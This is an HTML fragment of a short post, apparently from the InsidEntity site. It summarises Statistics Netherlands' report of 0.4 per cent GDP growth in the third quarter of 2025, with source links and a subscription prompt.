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<td width="601">Imagery Source: <a href="https://www.rawpixel.com/search/netherlands?page=1&amp;path=1522&amp;sort=curated"><strong><em>rawpixel</em></strong></a></td>
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<td width="601">Information Source<em>: </em><a href="https://www.cbs.nl/nl-nl/visualisaties/dashboard-economie/bbp/economische-groei"><strong><em>Statistics: Netherlands</em></strong></a></td>
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<td width="601">Gross domestic product (GDP) is a measure of the size of the economy. The change in GDP volume over a given reporting period is the measure of economic growth (or contraction). Volume changes are changes in value adjusted for price changes.</td>
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<td width="601">According to the latest calculation by Statistics Netherlands (CBS), gross domestic product (GDP) will be 0.4 per cent higher in the third quarter of 2025 than in the previous quarter.</td>
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<td width="601"><em>For the full document, click the link below</em></td>
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<td width="601"><a href="https://www.cbs.nl/nl-nl/visualisaties/dashboard-economie/bbp/economische-groei"><strong><em>Statistics: Netherlands</em></strong></a></td>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/netherlands-economic-growth/">Netherlands: Economic Growth</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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